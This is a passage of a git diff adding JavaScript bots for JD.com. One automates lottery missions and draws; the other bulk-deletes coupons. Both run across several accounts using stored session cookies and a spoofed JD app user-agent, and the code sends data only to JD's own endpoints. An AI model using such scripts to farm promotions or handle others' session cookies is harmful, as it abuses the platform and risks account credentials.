`[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","missionNo":"${missionInfo.missionNo}"}]`; + const myRequest = getPostRequest('WonderfulLuckDrawApi/completeMission', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + //{"code": 1,"content": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","data": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","errorMsg": "SUCCESS","msg": "SUCCESS","success": true} + data = JSON.parse(data); + if (data.success === true) { + console.log(`${missionInfo.title},任务执行成功`); + $.runFlag = true; + } else { + console.log(JSON.stringify(data)); + console.log(`${missionInfo.title},任务执行失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +//领奖励 +async function collectionOneMission(title, getRewardNo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","getCode":"${getRewardNo}"}]`; + const myRequest = getPostRequest('WonderfulLuckDrawApi/getDrawChance', body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + console.log(`${title},领取任务奖励成功`); + } else { + console.log(JSON.stringify(data)); + console.log(`${title},领取任务执行失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//做任务 +async function doOneMission(missionInfo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","missionNo":"${missionInfo.missionNo}","params":${JSON.stringify(missionInfo.params)}}]`; + const myRequest = getPostRequest('WonderfulLuckDrawApi/completeMission', body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + console.log(`${missionInfo.title},任务执行成功`); + $.runFlag = true; + } else { + console.log(JSON.stringify(data)); + console.log(`${missionInfo.title},任务执行失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//获取任务列表 +async function getQueryMissionList() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('WonderfulLuckDrawApi/queryMissionList', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + $.missionList = data.content.missionList; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//获取信息 +async function getLotteryInfo() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('WonderfulLuckDrawApi/queryActivityBaseInfo', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + $.lotteryInfo = JSON.parse(data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +async function lotteryDraw() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('WonderfulLuckDrawApi/draw', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + //console.log(`${data}`); + data = JSON.parse(data); + if (data.success === true) { + console.log(`${$.name}第${$.drawNumber}次抽奖,获得:${data.content.rewardDTO.title || ' '}`); + } else { + console.log(`${$.name}第${$.drawNumber}次抽奖失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getPostRequest(type, body) { + const url = `https://lop-proxy.jd.com/${type}`; + const method = `POST`; + const headers = { + 'Accept-Encoding': `gzip, deflate, br`, + 'Host': `lop-proxy.jd.com`, + 'Origin': `https://jingcai-h5.jd.com`, + 'Connection': `keep-alive`, + 'biz-type': `service-monitor`, + 'Accept-Language': `zh-cn`, + 'version': `1.0.0`, + 'Content-Type': `application/json;charset=utf-8`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0"), + 'Referer': `https://jingcai-h5.jd.com`, + 'ClientInfo': `{"appName":"jingcai","client":"m"}`, + 'access': `H5`, + 'Accept': `application/json, text/plain, */*`, + 'jexpress-report-time': `${new Date().getTime()}`, + 'source-client': `2`, + 'X-Requested-With': `XMLHttpRequest`, + 'Cookie': cookie, + 'LOP-DN': `jingcai.jd.com`, + 'AppParams': `{"appid":158,"ticket_type":"m"}`, + 'app-key': `jexpress` + }; + return {url: url, method: method, headers: headers, body: body}; +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_delCoupon.js b/jd_delCoupon.js new file mode 100644 index 0000000..59a727f --- /dev/null +++ b/jd_delCoupon.js @@ -0,0 +1,236 @@ +/* +活动入口:京东APP我的-优惠券 +脚本:删除优惠券 +更新时间:2021-01-21 +说明:1、删除优惠券名称中不含“京东”、“超市”、“生鲜”关键字的券;2、删除优惠券名称中含“XX旗舰店”的券;3、已删除的券可以在回收站中还原 + */ +const $ = new Env('删除优惠券'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnsubscribeNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let goodPageSize = $.getdata('jdUnsubscribePageSize') || 20;// 运行一次取消多少个已关注的商品。数字0表示不取关任何商品 +let shopPageSize = $.getdata('jdUnsubscribeShopPageSize') || 20;// 运行一次取消多少个已关注的店铺。数字0表示不取关任何店铺 +let stopGoods = $.getdata('jdUnsubscribeStopGoods') || '';//遇到此商品不再进行取关,此处内容需去商品详情页(自营处)长按拷贝商品信息 +let stopShop = $.getdata('jdUnsubscribeStopShop') || '';//遇到此店铺不再进行取关,此处内容请尽量从头开始输入店铺名称 +let delCount = 0; +let hasKeyword = 0; // 包含关键词的券 +const JD_API_HOST = 'https://wq.jd.com/'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】删除优惠券失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getCoupon(); + await showMsg(); + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function delCoupon(couponId, couponTitle) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/activeapi/deletecouponlistwithfinance?couponinfolist=${couponId}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKC&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + } + } + $.get(options, (err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.retcode === 0) { + console.log(`删除优惠券---${couponTitle}----成功\n`); + delCount++; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getCoupon() { + return new Promise(resolve => { + let states = ['1', '6'] + for (let s = 0; s < states.length; s++) { + let options = { + url: `https://wq.jd.com/activeapi/queryjdcouponlistwithfinance?state=${states[s]}&wxadd=1&filterswitch=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let couponTitle = '' + let couponId = '' + if (states[s] === '6') { + // 删除已过期 + let expire = data['coupon']['expired'] + for (let i = 0; i < expire.length; i++) { + couponTitle = expire[i].couponTitle + couponId = escape(`${expire[i].couponid},1,0`); + await delCoupon(couponId, couponTitle) + } + // 删除已使用 + let used = data['coupon']['used'] + for (let i = 0; i < used.length; i++) { + couponTitle = used[i].couponTitle + couponId = escape(`${used[i].couponid},0,0`); + await delCoupon(couponId, couponTitle) + } + } else if (states[s] === '1') { + // 删除可使用且非超市、生鲜、京贴 + let useable = data.coupon.useable + for (let i = 0; i < useable.length; i++) { + couponTitle = useable[i].limitStr + couponId = escape(`${useable[i].couponid},1,0`); + if (!isJDCoupon(couponTitle)) { + await delCoupon(couponId, couponTitle) + } else { + $.log(`跳过删除:${couponTitle}`) + hasKeyword++; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + } + }) +} + +function isJDCoupon(title) { + if (title.indexOf('京东') > -1) + return true + else if (title.indexOf('超市') > -1) + return true + else if (title.indexOf('京贴') > -1) + return true + else if (title.indexOf('全品类') > -1) + return true + else if (title.indexOf('话费') > -1) + return true + else if (title.indexOf('小鸽有礼') > -1) + return true + else if (title.indexOf('旗舰店') > -1) + return false + else if (title.indexOf('生鲜') > -1) + return true + else + return false +} + +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已删除优惠券】${delCount}张\n【跳过含关键词】${hasKeyword}张`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已删除优惠券】${delCount}张\n【跳过含关键词】${hasKeyword}张`); + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new 